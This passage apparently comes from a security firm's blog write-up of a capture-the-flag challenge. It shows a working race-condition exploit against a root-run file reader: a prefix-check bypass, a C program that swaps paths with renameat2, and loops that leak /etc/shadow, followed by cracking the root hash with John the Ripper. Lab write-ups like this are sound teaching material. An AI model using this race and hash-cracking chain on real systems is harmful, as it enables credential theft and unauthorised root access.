class=\"wp-block-code\"><code>$ ls -la \/tmp\/readerdata\ntotal 12\ndrwxr-xr-x 1 root root 4096 Oct  2 20:25 .\ndrwxrwxrwt 1 root root 4096 Oct 20 09:49 ..\n-rw------- 1 root root   82 Oct  2 20:25 secret.txt\n\n$ super-reader \/tmp\/readerdata\/secret.txt\n[~] Checking for symlink...\n[~] Checking file permissions...\n[~] Checking content...\n[~] Reading file...\nSAFE_TO_READ - You gotta try harder than that, your secret lies in the shadows...\n\n$ super-reader \/etc\/shadow\nError: path must start with `\/tmp\/readerdata`<\/code><\/pre>\n\n\n\n<p>It checks various things before opening and reading the file, to try and make sure you cannot read arbitrary files. First, <code>lstat()<\/code> is used to check if the path is a symlink. Then, it checks using <code>stat()<\/code> if the file is owned by <code>root<\/code>. Lastly, it reads the first 0x100 bytes and checks if &#x201C;SAFE_TO_READ&#x201D; is inside its contents, after which it is finally read again to be safely displayed.<\/p>\n\n\n\n<p>All these checks make it difficult to read arbitrary files such as <code>\/etc\/shadow<\/code> as root. Looking at the permissions of <code>\/tmp\/readerdata<\/code>, we cannot even write in the directory as <code>admin<\/code>. How can we make it read our file?<\/p>\n\n\n\n<p>The trick is in the exact check that is performed on the path. It must start with <code>\/tmp\/readerdata<\/code>, but <code>\/tmp\/readerdataX<\/code> would also be valid! We can write in <code>\/tmp<\/code>, so we can put this file and run the reader over it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cd \/tmp\n$ echo 'SAFE_TO_READ content' &gt; readerdataX\n$ super-reader \/tmp\/readerdataX\n[~] Checking for symlink...\n[~] Checking file permissions...\nError: file must be owned root!<\/code><\/pre>\n\n\n\n<p>We get a little further, but still hit the problem that the file must be owned by root. Looking at <code>man 2 stat<\/code>, we read that:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>lstat()<\/code> is identical to <code>stat()<\/code>, except that if pathname is a symbolic link, then it returns information about the link itself, not the file that the link refers to.<\/p>\n<\/blockquote>\n\n\n\n<p>This means that the <code>stat()<\/code> call will <em>follow<\/em> the symlink, and return the owner of the file it points to. We could write a symlink to <code>\/etc\/shadow<\/code> which would pass this check, but it would be blocked by the symlink check that happens earlier.<\/p>\n\n\n\n<p>The symlink check uses <code>lstat()<\/code> to check the properties of the file at the specified path. If <code>\/tmp\/readerdataX<\/code> is a symlink to <code>\/etc\/shadow<\/code>, it will detect that and block the attempt. But what will it do if not the file but the directory is a symlink? Let&#x2019;s say we link <code>\/tmp\/readerdataX<\/code> to <code>\/etc<\/code>, and then give the path <code>\/tmp\/readerdataX\/shadow<\/code>, which should expand to <code>\/etc\/shadow<\/code>. Would it still be recognized as a symlink?<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ln -s \/etc readerdataX\n$ super-reader \/tmp\/readerdataX\/shadow\n[~] Checking for symlink...\n[~] Checking file permissions...\n[~] Checking content...\nError: file must contain `SAFE_TO_READ`!<\/code><\/pre>\n\n\n\n<p>We are getting further! The symlink and permission checks pass, but the file still doesn&#x2019;t contain <code>SAFE_TO_READ<\/code>. We also can&#x2019;t add users to make it contain this text in <code>\/etc\/shadow<\/code>. How will we ever get past this check?<\/p>\n\n\n\n<p>Enter: Race Conditions. The logic of the C program calls <code>read_file()<\/code> twice, first to search for <code>SAFE_TO_READ<\/code> and second to print its contents. If we swap out the file for another one during this process, we may fool it before it tries to read the actual file and we swap it back. The idea is as follows:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/! We passed all checks with `\/tmp\/readerdataX\/shadow` pointing to `\/etc\/shadow`\n\/\/! Now move a regular directory named `readerdataX` in its place with a file called `shadow` that contains &quot;SAFE_TO_READ&quot;\n\n\/\/ Check content\nstatus(&quot;Checking content&quot;);\nchar buf[0x100];\nread_file(buf, argv[1]);\nif (strstr(buf, &quot;SAFE_TO_READ&quot;) == NULL)\n{\n    error(&quot;file must contain `SAFE_TO_READ`!&quot;);\n}\n\n\/\/! The content is verified and now we swap it back\n\/\/! `\/tmp\/readerdataX` points to `\/etc\/` again, and the code below will follow the symlink\n\n\/\/ Read file\nstatus(&quot;Reading file&quot;);\nread_file(buf, argv[1]);\nprintf(&quot;\\x1b[3m%s\\x1b[0m&quot;, buf);<\/code><\/pre>\n\n\n\n<p>It is a tight window, but we can keep swapping these two states around and keep running the program until it works. One useful feature of Linux is the <code>renameat2<\/code> syscall (see <code>man renameat<\/code>). It has a <code>RENAME_EXCHANGE<\/code> option to atomically exchange two paths (eg. swap them). Running this syscall in a loop between the symlink and directory, we can swap them incredibly fast.<\/p>\n\n\n\n<p>Below is a simple program that takes two arguments to swap two paths as fast as possible.<\/p>\n\n\n\n<pre id=\"code-116\" class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys\/syscall.h&gt;\n#include &lt;linux\/fs.h&gt;\n\nint main(int argc, char *argv[]) {\n    if (argc != 3) {\n        printf(&quot;Usage: %s &lt;file1&gt; &lt;file2&gt;\\n&quot;, argv[0]);\n        return 1;\n    }\n    while (1) {\n        syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);\n    }\n\n    return 0;\n}\n\n\/\/ gcc swap.c -o swap -O3 -static<\/code><\/pre>\n\n\n\n<p>We then need to prepare the two states. First, one where a directory symlink makes the path point to a regular root-owned file (<code>\/etc\/passwd<\/code>), and then another directory that contains a <code>SAFE_TO_READ<\/code> file to swap to temporarily:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ln -s \/etc readerdataX\n$ mkdir readerdataX2\n$ echo SAFE_TO_READ &gt; readerdataX2\/shadow<\/code><\/pre>\n\n\n\n<p>Now, in the first terminal, we will run the command until it contains the <code>root:<\/code> keyword from <code>\/etc\/shadow<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>while true; do super-reader \/tmp\/readerdataX\/shadow; done<\/code><\/pre>\n\n\n\n<p>Next, we will start swapping the files rapidly with our <code>swap<\/code> binary:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/swap readerdataX readerdataX2<\/code><\/pre>\n\n\n\n<p>After starting to swap the files, we get all kinds of different error messages randomly, and sometimes it succeeds in reading <code>\/etc\/shadow<\/code>!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Error: file must contain `SAFE_TO_READ`!\n[~] Checking for symlink...\n[~] Checking file permissions...\n[~] Checking content...\nError: file must contain `SAFE_TO_READ`!\n[~] Checking for symlink...\n[~] Checking file permissions...\nError: file must be owned root!\n[~] Checking for symlink...\n[~] Checking file permissions...\n[~] Checking content...\n[~] Reading file...\nroot:$1$IwHNPu0S$Q\/qIYVc\/w0fvQPmh4gOjw\/:19998:0:99999:7:::\ndaemon:*:19992:0:99999:7:::\nbin:*:19992:0:99999:7:::\nsys:*:19992:0:99999:7:::\nsync:*:19992:0:99999:7:::\ngames:*:19992:0:99999:7:::\nman:*:19992:0:99999:7:::\nlp:*:19992:0:99999:7:::\nmail:*:19992:0:996[~] Checking for symlink...\n[~] Checking file permissions...\n[~] Checking content...\n[~] Reading file...\nSAFE_TO_READ<\/code><\/pre>\n\n\n\n<p><em>Extra note<\/em>: There was another solution without symlinking directories. Because the <code>stat()<\/code> check also happens sequentially, we can Race Condition them just as well. It just takes a few more attempts.<br>Therefore, we can create a file that is a symlink to <code>\/etc\/shadow<\/code>, and another file that contains <code>SAFE_TO_READ<\/code>. If it just so happens that during the symlink check the symlink is read, during the owner check the symlink is followed, during the content check the safe file is read, and finally while displaying the content the symlink is followed, we achieve the same result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cd \/tmp\n$ mkdir readerdataX &amp;&amp; cd readerdataX\n$ echo SAFE_TO_READ &gt; a\n$ ln -s \/etc\/shadow b\n$ ls -l \/tmp\/readerdataX\ntotal 4\n-rw-r--r-- 1 admin admin 13 Oct 20 11:38 a\nlrwxrwxrwx 1 admin admin 11 Oct 20 11:38 b -&gt; \/etc\/shadow\n\n$ \/tmp\/swap a b\n$ while true; do super-reader \/tmp\/readerdataX\/a; done 2&gt;&amp;1 | grep root:\nroot:$1$IwHNPu0S$Q\/qIYVc\/w0fvQPmh4gOjw\/:19998:0:99999:7:::<\/code><\/pre>\n\n\n\n<p>We found the root password hash, and all that&#x2019;s left is to try and crack it. Using <a href=\"https:\/\/github.com\/openwall\/john\" target=\"_blank\" rel=\"noreferrer noopener\">John the Ripper<\/a>, we can pass the <code>rockyou.txt<\/code> wordlist and quickly crack the MD5 password:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ echo 'root:$1$IwHNPu0S$Q\/qIYVc\/w0fvQPmh4gOjw\/:19998:0:99999:7:::' &gt; shadow\n$ john --wordlist=\/list\/rockyou.txt shadow\nWarning: detected hash type &quot;md5crypt&quot;, but the string is also recognized as &quot;md5crypt-long&quot;\nUse the &quot;--format=md5crypt-long&quot; option to force loading these as that type instead\nUsing default input encoding: UTF-8\nLoaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512\/512 AVX512BW 16x3])\nWill run 16 OpenMP threads\nNote: Passwords longer than 5 [worst case UTF-8] to 15 [ASCII] rejected\nPress 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status\nKangar00ter      (?)\n1g 0:00:00:08 DONE (2024-10-20 13:26) 0.1206g\/s 1299Kp\/s 1299Kc\/s 1299KC\/s Katitho1988..Kalem100288\nUse the &quot;--show&quot; option to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n\n\n\n<p>It found the password is &#x201C;Kangar00ter&#x201D;! We can log in as root using <code>su root<\/code> and run <code>getflag<\/code> to get the last flag:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ su root\nPassword: Kangar00ter\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# getflag\nCongratulations!\nroot's flag is: CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}<\/code><\/pre>\n\n\n\n<p>We find our last flag: <code>CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}<\/code><\/p>\n\n\n\n<p class=\"has-medium-font-size\">This was the finale of our capture the flag! Will you join us next time? Keep an eye on our <a href=\"https:\/\/www.linkedin.com\/company\/warpnet\/\" data-type=\"link\" data-id=\"https:\/\/www.linkedin.com\/company\/warpnet\/\" target=\"_blank\" rel=\"noopener\">socials!<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. Participants had...<\/p>","protected":false},"author":9,"featured_media":6527,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","content-type":"","footnotes":""},"categories":[14],"tags":[],"class_list":["post-6965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/6965","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/comments?post=6965"}],"version-history":[{"count":10,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/6965\/revisions"}],"predecessor-version":[{"id":7021,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/posts\/6965\/revisions\/7021"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/media\/6527"}],"wp:attachment":[{"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/media?parent=6965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/categories?post=6965"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/warpnet.nl\/en\/wp-json\/wp\/v2\/tags?post=6965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}